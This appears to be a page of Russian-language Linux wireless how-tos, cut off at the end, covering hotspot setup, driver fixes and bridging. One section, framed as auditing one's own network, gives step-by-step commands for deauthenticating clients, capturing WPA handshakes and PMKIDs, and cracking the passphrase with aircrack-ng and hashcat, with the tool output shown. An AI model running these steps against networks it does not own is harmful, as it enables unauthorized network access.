    Настройка точки беспроводного доступа на ноутбуке или рабочей станции с Linux.
    
    eth0 - сетевой интерфейс, через который осуществляется выход в интернет.
    wlan0 - интерфейс беспроводной карты (IP 10.0.0.1).
    
    Поднимает сетевой интерфейс:
    
       ip link set dev wlan0 up
       ip addr add 10.0.0.1/24 dev wlan0
    
    Настраиваем dnsmasq для отдачи клиентам IP по DHCP и обработки DNS-запросов.
    Используем подсеть 10.0.0.0/24
    
    tmp-dnsmasq.conf:
    
       interface=wlan0
       bind-interfaces
       # Шлюз по умолчанию
       dhcp-option=3,10.0.0.1
    
       # Список DNS-серверов
       dhcp-option=6,10.0.0.1
    
       # Диапазон отдаваемых клиентам IP
       dhcp-range=10.0.0.2,10.0.0.10,12h
    
       no-hosts
       no-resolv
       log-queries
       log-facility=/var/log/dnsmasq.log
    
       # Рабочий DNS-сервер
       server=8.8.8.8
       server=8.8.4.4
    
    Запускаем dnsmasq:
    
       dnsmasq --conf-file=tmp-dnsmasq.conf
    
    
    Настраиваем трансляцию адресов через iptables для обеспечения выхода в интернет:
    
       echo '1' > /proc/sys/net/ipv4/ip_forward
    
       iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
       iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    
    
    Настраиваем hostapd для работы точки беспроводного доступа:
    
    tmp-hotspot.conf
    
       ctrl_interface=/var/run/hostapd
    
       interface=wlan0
    
       # ESSID, идентификатор беспроводной сети.
       ssid=TEST
    
       driver=nl80211 # hostap, bsd
       channel=11     # если 0 до автоматический выбор канала
       hw_mode=g      # g - 2.4GHz, a - 5GHz
    
       ieee80211d=1   # применение ограничений по частотам для выбранной страны
       country_code=RU
    
       # разрешаем все MAC-адреса, кроме занесённых в чёрный список
       macaddr_acl=0  # если 1, то разрешение входа только по белому списку (accept_mac_file)
       deny_mac_file=/etc/hostapd.deny
    
       wmm_enabled=0 # 1 - включение QoS 
    
    
       auth_algs=1 # 1=wpa, 2=wep, 3=wpa+wep
       wpa=2 # только WPA2
    
       # Настройки для входа с авторизацией, без них разрешается вход без пароля
       wpa_key_mgmt=WPA-PSK  
       rsn_pairwise=CCMP
       wpa_passphrase=пароль_для_полключения
    
    Запускаем hostapd:
    
       hostapd tmp-hotspot.conf
    
     
    ----* Создания WiFi-ретрансляторов с поддержкой построения Mesh-сети (доп. ссылка 1)   [комментарии]
     
    Для микроконтроллеров ESP 8285 и 8266 со встроенным беспроводным адаптером,
    которые продаются в китайских интернет-магазинах по цене около 100 руб,
    подготовлена прошивка с реализацией ретранслятора, позволяющего увеличить
    зону покрытия существующей беспроводной сети. Ретранслятор реализован в виде
    точки доступа, прозрачно передающей весь трафик на вышестоящую точку доступа,
    используя трансляцию адресов (NAT) для организации проброса (не требуется
    изменение настроек и маршрутизации). Несколько ретрансляторов могут связываться
    между собой, по цепочке пробрасывая канал связи и образуя Mesh-сеть.
    
    
    
    Для настройки параметров подключения предоставляется консольный и web-интерфейс
    (задаётся пароль подключения к внешней беспроводной сети, пароль для
    подключения к ретранслятору и выбор режима работы). Поддерживаются функции
    межсетевого экрана, позволяющего ограничить доступ к IP-адресам, подсетям и
    сетевым портам через простой  ACL, а также ограничить пропускную способность
    подключения клиента. Для IoT-устройств предусмотрена поддержка протокола MQTT.
    Имеется поддержка режима мониторинга, позволяющего анализировать проходящий
    через ретранслятор трафик в приложениях, поддерживающих формат pcap (например, wireshark).
    
    Для прошивки достаточно подключить плату через последовательный порт или
    переходник USB2Serial, загрузить готовые сборки прошивки (0x00000.bin и
    0x10000.bin) и записать их при помощи специально подготовленной утилиты:
    
       esptool.py --port /dev/ttyUSB0 write_flash -fs 4MB -ff 80m -fm dio 0x00000 firmware/0x00000.bin 0x10000 firmware/0x10000.bin
    
    
    Через консоль можно сразу настроить параметры работы ретранслятора:
    
    
       set ssid идентификатор-основной-сети
       set password пароль-подключения-к-основной-сети
       set ap_ssid идентификатор-сети-ретранслятора
       set ap_password пароль-подключения-к-сети-ретранслятора
       set ap_open 0
       set ap_on 1
       save
    
     
    ----* Как увеличить охват квартиры точкой доступа при помощи алюминиевой фольги (доп. ссылка 1)   [комментарии]
     
    В случае если беспроводная точка доступа размещена у одной из боковых стен в
    квартире и в дальних комнатах наблюдается плохой уровень сигнала, решить
    проблему можно разместив за антеннами точки доступа импровизированный
    отражатель из обычной пищевой алюминиевой фольги. Отражатель следует
    ориентировать по направлению комнат с плохим уровнем сигнала. Эффект
    превосходит все ожидания и в местах, где раньше сеть была недоступна становится
    можно полноценно работать.
    
    
    
    Зона покрытия без отражающего экрана:
    
    
    
    Зона покрытия с отражающим экраном:
    
    
     
    ----* Проверка безопасности беспроводной сети WPA/WPA2 при помощи Aircrack-ng и Hashcat (доп. ссылка 1)   [комментарии]
     
    Беспроводные сети на базе WPA/WPA2 не подвержены прямым методам атаки, но
    злоумышленник может получить доступ к системам, на которых установлен
    недостаточно надёжный пароль. Нижеприведённая инструкция позволяет проверить
    свои системы на предмет стойкости к атаке по типовому словарю паролей.
    Предлагается два метода восстановления пароля по перехваченному в трафике хэшу
    - при помощи  Aircrack-ng и  Hashcat.
    
    Устанавливаем Aircrack-ng:
    
       sudo apt-get install aircrack-ng
    
    Определяем, поддерживает ли беспроводная карта режим мониторинга
    (http://aircrack-ng.org/doku.php?id=compatible_cards - выбор поддерживаемых
    плат), на выходе будет список сетевых интерфейсов для которых имеется подобная поддержка:
    
       airmon-ng
    
    Переводим беспроводную плату в режим мониторинга:
    
       airmon-ng start wlan0
    
    Отслеживаем все проходящие в эфире кадры на предмет идентификаторов
    беспроводной сети (BSSID)  и используемых номеров каналов.
    
       airodump-ng mon0
    
       BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
       9C:5E:8A:C9:AB:C0  -81       19        0    0   6  54e  WPA2 CCMP   PSK  mywifi
       ...
    
    Определив, что наша сеть имеет BSSID 9C:5E:8A:C9:AB:C0 и 6 канал, отслеживаем и
    сохраняем в файл capture/-01.cap трафик пакетов, связанных с согласованием
    нового соединения (ждём пока появится надпись "WPA handshake" и прерываем
    перехват по ctrl-c):
    
       airodump-ng -c 6 --bssid 9C:5E:8A:C9:AB:C0 -w capture/ mon0
    
    Для того, чтобы не ждать долго инициируем обрыв соединения у подключенных
    клиентов (64:BC:0C:49:87:F7 - идентификатор клиента):
    
       airodump-ng -c 6 --bssid 9C:5E:8A:C9:AB:C0 mon0
    
       BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                 
       9C:5E:8A:C9:AB:C0  64:BC:0C:49:87:F7  -37    1e- 1e     4     6479  ASUS
    
       aireplay-ng -0 10 -a 9C:5E:8A:C9:AB:C0 -c 64:BC:0C:49:87:F7 mon0
    
    
    Загружаем  словарь с примерами паролей (размер 134MB, около 14 млн типовых паролей):
    
       curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    
    Запускаем  aircrack-ng в режиме подбора хэша пароля по словарю (подбор
    выполняется только на CPU, без привлечения GPU):
    
       aircrack-ng -a2 -b 9C:5E:8A:C9:AB:C0 -w rockyou.txt capture/-01.cap
    
    Или используем для этого naive-hashcat (более эффективен при наличии доступа
    к GPU), предварительно преобразовав cap-дамп в формат hccapx при помощи утилиты
    cap2hccapx:
    
       cap2hccapx.bin capture/-01.cap capture/-01.hccapx
       HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
    
    
    
    Дополнение: 
    
    Опубликован новый  метод атаки, 
    который не требует ожидания подключения к сети нового пользователя и сохранения всей активности, 
    связанной с установкой им соединения. Для получения данных, достаточных для начала 
    подбора пароля, новый метод требует перехвата лишь одного кадра, который можно получить 
    в любое время, отправив запрос аутентификации к точке доступа. 
    
    Для проведения атаки требуются свежие версии:
    * hcxdumptool
    * hcxtools
    * hashcat
    
    
    Запускаем hcxdumptool, отправляем запрос к точке доступа для получения PMKID 
    и сохраняем результат в файл в формате pcapng:
    
       ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
    
        start capturing (stop with ctrl+c)
        INTERFACE:...............: wlp39s0f3u4u5
        FILTERLIST...............: 0 entries
        MAC CLIENT...............: 89acf0e761f4 (client)
        MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
        EAPOL TIMEOUT............: 20000
        DEAUTHENTICATIONINTERVALL: 10 beacons
        GIVE UP DEAUTHENTICATIONS: 20 tries
        REPLAYCOUNTER............: 62083
        .... 
        [13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e  [ASSOCIATIONREQUEST, SEQUENCE 4]
        [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
        [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
    
    В случае если точка доступа поддерживает отправку PMKID будет выведено сообщение "FOUND PMKID". 
    Из-за помех перехват может не получиться с первого раза, поэтому рекомендуется 
    запускать hcxdumptool в течение приблизительно 10 минут.
    
    Запускаем утилиту hcxpcaptool для преобразования перехваченного дампа из
    формата pcapng в формат для разбора в hashcat.
    
    
       ./hcxpcaptool -z test.16800 test.pcapng
    
        start reading from test.pcapng
    
        summary:
        --------
        file name....................: test.pcapng
        file type....................: pcapng 1.0
        file hardware information....: x86_64
        file os information..........: Linux 4.17.11-arch1
        file application information.: hcxdumptool 4.2.0
        network type.................: DLT_IEEE802_11_RADIO (127)
        endianess....................: little endian
        read errors..................: flawless
        packets inside...............: 66
        skipped packets..............: 0
        packets with FCS.............: 0
        beacons (with ESSID inside)..: 17
        probe requests...............: 1
        probe responses..............: 11
        association requests.........: 5
        association responses........: 5
        authentications (OPEN SYSTEM): 13
        authentications (BROADCOM)...: 1
        EAPOL packets................: 14
        EAPOL PMKIDs.................: 1
    
        1 PMKID(s) written to test.16800
    
    Содержимое записанного файла включает строки вида
    "2582a81d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465af3a", которые содержат 
    шестнадцатеричные значения PMKID, MAC AP,MAC Station и ESSID.
    
    Дополнительно при запуске hcxpcaptool можно использовать опции "-E", "-I" и '-U" 
    для анализа наличия паролей, идентификаторов и имён пользователей в беспроводном трафике:
    
    
       ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
    
    Запускаем hashcat для подбора пароля (применяется режим 16800):
    
    
       ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'
    
        hashcat (v4.2.0) starting...
    
        OpenCL Platform #1: NVIDIA Corporation
        ======================================
        * Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
        * Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
        * Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
        * Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
    
        Hashes: 1 digests; 1 unique digests, 1 unique salts
        Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    
        Applicable optimizers:
        * Zero-Byte
        * Single-Hash
        * Single-Salt
        * Brute-Force
        * Slow-Hash-SIMD-LOOP
    
        Minimum password length supported by kernel: 8
        Maximum password length supported by kernel: 63
    
        Watchdog: Temperature abort trigger set to 90c
    
        2582573161c61*4604d4e*89acf0e761f4*ed4824639f3a:hashcat!
    
        Session..........: hashcat
        Status...........: Cracked
        Hash.Type........: WPA-PMKID-PBKDF2
        Hash.Target......: 2582a8281d0e61c61*4604ba734d4e*89acf...a39f3a
        Time.Started.....: Sun Aug 12 12:51:38 2018 (41 secs)
        Time.Estimated...: Sun Aug 12 12:52:19 2018 (0 secs)
        Guess.Mask.......: ?l?l?l?l?l?lt! [8]
        Guess.Queue......: 1/1 (100.00%)
        Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#*.....:  1641.3 kH/s
        Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
        Progress.........: 66846720/308915776 (21.64%)
        Rejected.........: 0/66846720 (0.00%)
        Restore.Point....: 0/11881376 (0.00%)
        Candidates.#1....: hariert! -> hhzkzet!
        Candidates.#2....: hdtivst! -> hzxkbnt!
        Candidates.#3....: gnxpwet! -> gwqivst!
        Candidates.#4....: gxhcddt! -> grjmrut!
        HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
        HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
        HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
        HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1
    
     
    ----* Решение проблем с работой поставляемых в ноутбуках Samsung WiFi-адаптеров Broadcom BCM4313 в Ubuntu   [комментарии]
     
    Многие модели ноутбуков Samsung укомплектованы WiFi-адаптерами на базе чипа
    Broadcom BCM4313. При этом в процессе работы, при использовании штатных
    открытых драйверов, идущих в базовой поставке Ubuntu, от версии к версии
    наблюдаются разнообразные проблемы. Например, подсоединиться к Wifi-сетям
    удаётся с десятой попытки или сеть периодически зависает - линк поднят, но
    данные через сетевой интерфейс не передаются до пересоединения с беспроводной сетью.
    
    Решение проблемы простое, поставить проприетаный вариант прошивки:
    
       sudo apt-get remove --purge bcmwl-kernel-source
       sudo apt-get install linux-firmware-nonfree
       sudo apt-get install firmware-b43-installer
    
    после чего нужно перезагрузить систему для загрузки новой прошивки.
    
     
    ----* Отключение STP в точках доступа ASUS WL520gc (доп. ссылка 1)   Автор: vvm7ua  [комментарии]
     
    Не так давно столкнулся с ситуацией, когда есть в сети несколько точек доступа
    ASUS WL520gc, который "гоняют" по сети лишний трафик в виде STP.
    
    Решение было найдено следующее: необходимо зайти на страницу роутера по адресу http://ip/Main_AdmStatus_Content.asp
    ввести в после System Command: значение nvram set lan_stp=0
    нажать кнопку Refresh
    затем ввести nvram commit и снова нажать кнопку Refresh
    после этого необходимо будет ввести reboot и опять нажать Refresh
    
    Роутер уйдет на перезагрузку и STP таким образом более не будет тревожить
    другие сетевые устройства в сети.
    
     
    ----* Настройка беспроводного соединения в Debian GNU/Linux   Автор: screenn  [комментарии]
     
    Действия по настройке Wi-Fi проводились в стабильном дистрибутиве Debian GNU/Linux 6.0.4
    
    Ранее длительное время я работал с модулем NDISwrapper, который удавалось
    запускать с поддержкой WEP шифрования. После того как WEP шифрование было
    принято считать небезопасным, под рукой оказалось решение под названием
    wpasupplicant позволяющее работать с WPA и WPA2 методами шифрования в
    беспроводных сетях, которое было взято на вооружение в совокупности с
    драйверами b43 - в них на этот момент уже поддерживались Broadcom устройства.
    Все прекрасно работало пока не было принято решение вернуться к стабильному
    дистрибутиву после многолетних экспериментов работы в среде sid, что повлекло
    за собой переустановку и необходимость перенастройки системы и написания данной инструкции.
    
    Для начала необходимо убедиться в присутствии беспроводного адаптера - команда lspci
    
       lspci
    
    В моем случае обнаружились ethernet и wifi сетевые карты:
    
       02:00.0 Ethernet controller: Broadcom Corporation NetLink BCM5787M Gigabit Ethernet PCI Express (rev 02)
       04:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)
    
    Немного погуглив удалось найти информацию на английском языке
    http://wiki.debian.org/bcm43xx - там есть список с описанием модулей, в каких
    ядрах и версиях системы они работают а где нет. А также инструкция по установке.
    
    Оказалось на сегодняшний день есть несколько разновидностей драйверов для
    Linux: b43, b43legacy, brcm80211, rndis_wlan, wl, наряду с которыми все так же
    остается возможность запускать WINDOWS-драйвер сетевых карт при помощи
    NDISwrapper модуля.
    
    Далее просто приведу шаги выполненные по вышеприведенной инструкции:
    
    1. Необходимо добавить contrib non-free части в строку с источником установки,
    отредактировав файл /etc/apt/sources.list
    
       #строка с источником установки пакетов системы
       deb http://ftp.us.debian.org/debian squeeze main contrib non-free
    
    2. После добавления новых источников установки необходимо обновить список
    доступных пакетов и установить утилиту wireless-tools
    
        aptitude update && aptitude install wireless-tools
    
    3. Далее следует установка самих драйверов, в зависимости от типа вашей сетевой
    карты необходимо выбрать правильный драйвер, в моем случае это устройство
    BCM4312 802.11b/g LP-PHY - как показала команда lspci, поэтому я выполняю
    команду устанавливающую firmware-b43-lpphy-installer. Для владельцев других
    сетевых карт соответственно:
    
    802.11b/g BCM4306 revision 3, BCM4311, BCM4318 - устанавливаем firmware-b43-installer;
    802.11b BCM4301, 802.11b/g BCM4306 revision 2 chipset - устанавливаем firmware-b43legacy-installer;
    
    
       aptitude install firmware-b43-lpphy-installer
       aptitude install firmware-b43-lpphy-installer
    
    
    4. Проверим что модуль загрузился:
    
       # lsmod | grep b43
    
       b43                   132415  0
       rng_core                2178  1 b43
       mac80211              122874  1 b43
       cfg80211               86965  2 b43,mac80211
       ssb                    33578  1 b43
       led_class               1757  3 b43,acer_wmi,sdhci
       mmc_core               38277  3 b43,sdhci,ssb
       pcmcia                 16194  2 b43,ssb
       pcmcia_core            20414  5  b43,yenta_socket,rsrc_nonstatic,ssb,pcmcia
    
    Модуль b43 - загружен успешно, если у вас он окажется не загружен, можно
    попробовать загрузить его командой modprobe b43, в случае если он загружен но
    не отрабатывает корректно - можно попробовать сначала его выгрузить командой
    modprobe -r b43 после чего загрузить заново.
    
    5. Драйверы установлены и загружены теперь можно проверить наличие wifi карты в
    списке сетевых устройств утилитой iwconfig:
    
    
       # iwconfig
       lo        no wireless extensions.
       eth0      no wireless extensions.
       irda0     no wireless extensions.
       wlan0     IEEE 802.11bg  ESSID:off/any
            Mode:Managed  Frequency:2.457 GHz  Access Point: Not Associated
             Tx-Power=27 dBm
             Retry  long limit:7   RTS thr:off   Fragment thr:off
             Encryption key:off
             Power Management:off
    
       pan0      no wireless extensions. 
    
    Видно что в списке сетевых адаптеров присутствует wlan0 - устройство
    распознанное как IEEE 802.11bg, это и есть ни что иное как наш wifi адаптер.
    
    6. Далее необходимо сконфигурировать сетевые настройки в системе для нашего
    wifi адаптера. Для этого редактируем файл настройки сетевых подключений
    /etc/network/interfaces добавляя опции новой wifi сетевой карты:
    
       #my Wi-fi connection
       auto wlan0
       iface wlan0 inet dhcp
    
    7. Стартуем новый сетевой интерфейс - ifup wlan0
    
       # ifup wlan0
    
       Internet Systems Consortium DHCP Client 4.1.1-P1
       Listening on LPF/wlan0/00:00:00:00:00:00
       Sending on   LPF/wlan0/00:00:00:00:00:00
       Sending on   Socket/fallback
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 10
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 12
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 8
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 15
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 2
       No DHCPOFFERS received.
       No working leases in persistent database - sleeping.
    
    После выполнения данной команды система попытается получить адрес по dhcp, в
    результате чего мы увидим что адрес ей получить не удалось так как не указана
    точка доступа, но при этом wlan0 интерфейс появится в списке поднятых
    интерфейсов отображаемых при просмотре ifconfig Затем уже можно будет выполнять
    сканирование пространства на наличие точек доступа. Попытки просканировать
    пространство с неподнятым интерфейсом выдадут сообщение:"wlan0     Interface
    doesn't support scanning : Network is down"
    
    8. Проверить поднялся ли wlan0 интерфейс можно командой ifconfig
    
       #ifconfig
    
       wlan0     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
             UP BROADCAST MULTICAST  MTU:1500  Metric:1
             RX packets:408 errors:0 dropped:0 overruns:0 frame:0
             TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:26662 (26.0 KiB)  TX bytes:6305 (6.1 KiB)
    
    9. Если интерфейс поднялся мы можем просканировать пространство на наличие WIFI
    точек доступа командой - iwlist scanning
    
       # iwlist scanning
    
       lo        Interface doesn't support scanning.
       eth0      Interface doesn't support scanning.
       irda0     Interface doesn't support scanning.
       pan0      Interface doesn't support scanning.
       wlan0     Scan completed :
             Cell 01 - Address: 00:00:00:00:00:00
                       Channel:13
                       Frequency:2.457 GHz (Channel 13)
                       Quality=70/70  Signal level=-3 dBm
                       Encryption key:on
                       ESSID:"myhome"
                       Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
                                 11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
                                 48 Mb/s; 54 Mb/s
                       Mode:Master
                       Extra:tsf=0000003f190b259c
                       Extra: Last beacon: 104ms ago
                       IE: Unknown: 00036E6574
                       IE: Unknown: 010C82848B8C12969824B048606C
                       IE: Unknown: 03010A
                       IE: Unknown: 0706555320010B1E
                       IE: Unknown: 2A0100
                       IE: Unknown: 2F0100
                       IE: IEEE 802.11i/WPA2 Version 1
                           Group Cipher : TKIP
                           Pairwise Ciphers (1) : TKIP
                           Authentication Suites (1) : PSK
                       IE: Unknown: DD090010180200F0000000
    
    Результаты сканирования показали наличие точки доступа под названием -
    ESSID:"myhome", работающей на канале - Channel:13, в режиме - Mode:Master, с
    включенным шифрованием - Encryption key:on, тип шифрования - IE: IEEE
    802.11i/WPA2 Version 1.
    
    10. Устанавливаем поддержку WPA/WPA2 шифрования поскольку наша точка доступа использует WPA2
    
       apt-get install wpasupplicant
    
    11. Конфигурируем wpasupplicant,  Редактируем файл /etc/network/wpa-psk-tkip.conf
    
       # WPA-PSK/TKIP
    
       ctrl_interface=/var/run/wpa_supplicant
    
       network={
           ssid="myhome"
           proto=WPA2 RSN
           key_mgmt=WPA-PSK
           pairwise=CCMP TKIP
           group=CCMP TKIP
           psk="пароль к точке доступа"
       }
    
    В моем случае конфиг выглядит именно таким образом, возможно у вас он будет
    отличаться если например будет отличаться метод шифрования, более подробно с
    опциями конфиг файла для wpasuplicant можно ознакомиться при помощи команды -
    man wpa_supplicant, гугла и админской интуиции.
    
    12. Донастраиваем сетевое соединение, дописываем в конфиге /etc/network/interfaces новые строки:
    
       # The primary network interface
       #allow-hotplug eth0
       #auto eth0
       #iface eth0 inet dhcp
     
       #my Wi-fi connection
       auto wlan0
       iface wlan0 inet dhcp
       wireless-channel 10
       wireless-mode Master
       #WPA-TKIP
       wpa-conf /etc/network/wpa-psk-tkip.conf
    
    Как видно, я специально закомментировал знаком # eth0 интерфейс через который
    был подключен интернет, так как после рестарта сетевых соединений хочу чтобы
    интернет соединялся только через wlan0 интерфейс. Затем можно отключить eth0
    интерфес командой "ifconfig eth0 down".
    
    
    13. Перезагружаем сетевые соединения командой /etc/init.d/networking restart
    
    
       # /etc/init.d/networking restart
    
       Running /etc/init.d/networking restart is deprecated because it may not enable again some interfaces ... (warning).
       Reconfiguring network interfaces...Ignoring unknown interface eth0=eth0.
       Internet Systems Consortium DHCP Client 4.1.1-P1
    
       Listening on LPF/wlan0/00:00:00:00:00:00
       Sending on   LPF/wlan0/00:00:00:00:00:00
       Sending on   Socket/fallback
       DHCPRELEASE on wlan0 to 192.168.13.1 port 67
       Error for wireless request "Set Mode" (8B06) :
          SET failed on device wlan0 ; Invalid argument.
    
       Internet Systems Consortium DHCP Client 4.1.1-P1
       Listening on LPF/wlan0/00:00:00:00:00:00
       Sending on   LPF/wlan0/00:00:00:00:00:00
       Sending on   Socket/fallback
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 4
       DHCPOFFER from 192.168.13.1
       DHCPREQUEST on wlan0 to 255.255.255.255 port 67
       DHCPACK from 192.168.13.1
       bound to 192.168.13.13 -- renewal in 37509 seconds.
       done.
    
    
    14. Проверим что все работает
    
    Посмотрим список поднятых интерфейсов:
    
       #ifconfig
       
       lo        Link encap:Local Loopback
             inet addr:127.0.0.1  Mask:255.0.0.0
             inet6 addr: ::1/128 Scope:Host
             UP LOOPBACK RUNNING  MTU:16436  Metric:1
             RX packets:76 errors:0 dropped:0 overruns:0 frame:0
             TX packets:76 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:0
             RX bytes:5802 (5.6 KiB)  TX bytes:5802 (5.6 KiB)
    
       wlan0     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
             inet addr:192.168.13.13  Bcast:192.168.13.255  Mask:255.255.255.0
             inet6 addr: fe80::21f:e1ff:fe25:4fd4/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
             RX packets:5 errors:0 dropped:0 overruns:0 frame:0
             TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:1036 (1.0 KiB)  TX bytes:1640 (1.6 KiB)
    
    Видим поднятые внутренний системный интерфейс Loopback, и наш wifi wlan0
    интерфейс, теперь проверим работает ли интернет
    
       # ping 8.8.8.8
       PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
       64 bytes from 8.8.8.8: icmp_req=1 ttl=54 time=69.8 ms
       64 bytes from 8.8.8.8: icmp_req=2 ttl=54 time=69.6 ms
       64 bytes from 8.8.8.8: icmp_req=3 ttl=54 time=69.5 ms
       64 bytes from 8.8.8.8: icmp_req=4 ttl=54 time=69.5 ms
       64 bytes from 8.8.8.8: icmp_req=5 ttl=54 time=69.6 ms
    
    Google пингуется отлично!
    
    Посмотрим таблицу маршрутизации системы:
    
       # ip r
       192.168.13.0/24 dev wlan0 proto kernel scope link src 192.168.13.13
       default via 192.168.13.1 dev wlan0
    
    Понимаем что все работает.
    
    На этом я завершаю заметку о том как настраивать Wi-Fi в Linux. Надеюсь что
    данная информация будет Вам полезна, а поднять шифрованное wifi соединение при
    помощи родных драйверов Linux теперь не для кого не составит большого труда.
    
    Присылайте Ваши вопросы, дополнения, исправления к данному руководству на мой
    e-mail: alex.golovin@mail.ru, дополняйте комментариями к статье-совету ниже на сайте.
    Автор: Александр Головин.
    
    Полезные ссылки по теме:
       http://wiki.debian.org/Broadcom
       http://wiki.debian.org/bcm43xx
       http://wireless.kernel.org/en/users/Drivers/b43#Known_issues
    
     
    ----* Виртуальная точка доступа с раздачей от ADSL на базе маршрутизатора D-Link 2500u (доп. ссылка 1)   Автор: sukanax  [комментарии]
     
    В этом примере в качестве маршрутизатора используется D-Link 2500u
    (перепрошитый 2300u). Необходимо чтобы dlink 2500u работал в режиме
    маршрутизатора. В качестве wifi-устройства использовался USB-адаптер tp-link wn721n.
    
    
    1. Устанавливаем hostapd, dhcpd клиент, bridge-utils из консоли.
    
    После выполняем "sudo su"
    
    2. Создаем файл /etc/hostapd/hostapd.conf
    
       interface=wlan0
       bridge=br0
       logger_stdout=-1
       logger_stdout_level=2
       ssid="Имя нашей точки доступа"
       hw_mode=g
       channel=6
       auth_algs=3
       max_num_sta=5
       wpa=2
       wpa_passphrase="пароль"
       wpa_key_mgmt=WPA-PSK
       wpa_pairwise=TKIP CCMP
       rsn_pairwise=CCMP
    
    
    3. включаем ip форвардинг
    
       echo 1 > /proc/sys/net/ipv4/ip_forward
    
    
    4. Создаем скрипт в любом месте нашего Linux.
    
    
       #!/bin/bash
    
       auto eth1
       iface eth1 inet dhcp
    
       killall dhcpcd
       ifconfig eth0 down
       ifconfig wlan0 down
    
       brctl addbr br0 #Создает мост
       brctl addif br0 eth0 #Добавляет интерфейс eth0 к br0 мосту
       brctl setfd br0 0 #This sets the forwarding delay to 0 seconds
    
       hostapd -dd /etc/hostapd/hostapd.conf &
    
       iwconfig wlan0
    
       brctl addif br0 wlan0
    
       ifconfig eth0 up
       ifconfig br0 up
    
       dhcpcd br0 &
       exit
    
    
    5. Запускаем этот скрипт и подключаем мобильное устройство по wifi к интернету.
    Возможно придется выключить network-manager перед запуском.
    
    Скрипт создает сетевой мост eth0 и wlan0. eth1 у меня остался для работы
    интернета на главном компьютере.
    
     
    ----* Настройка подключения к Comstar через USB WiMAX модем 2501 в Linux   Автор: desenix  [комментарии]
     
    Предисловие
    
    Когда-то давно купил себе данный модем (на чипсете Beceem BCS200) с тарифом без
    абонентской платы, в качестве резервного канала, с тех пор пользовался от
    случая к случаю, тем более тариф тому способствовал. А тут недавно мой
    проводной провайдер отвалился на целый день и решил проверить, а не появилось
    ли решения под Linux? Одно дело компьютер с WiMax, а другое дело домашний
    роутер обеспечивающий несколько компьютеров интернетом. Что интересно в сети
    уже с 2010 года лежат готовые решения но для других провайдеров, а для
    Комстар-а нет, либо не нашёл. Да и сам провайдер не заботиться о Linux
    пользователях. Попадались решения и для других модемов, но как-то не возникло
    желания покупать ещё один, когда этот достался по акции.
    
    Введение
    
    На одно из решений наткнулся здесь. Там кто-то в комментариях очень похожий
    конфиг для другого провайдера выложил. Информацию по настройке параметров для
    Комстар частично взял отсюда. Если кто-то знает где лежат параметры сети для
    Yota, сообщите, размещу ссылку. Там же можно по ссылке скачать необходимый
    сертификат (ca1.cer), либо вытащить его из Comstar Connection Manager (далее
    CCM), но об этом ниже.
    
    
    Подготовка
    
    Нам понадобится:
    
    1. Компьютер с Linux, у меня был c Fedora 15 (x86), пробовал модули собирать и на x86_64.
    
    2. Как советует автор одного из решений, нужно установить пакеты
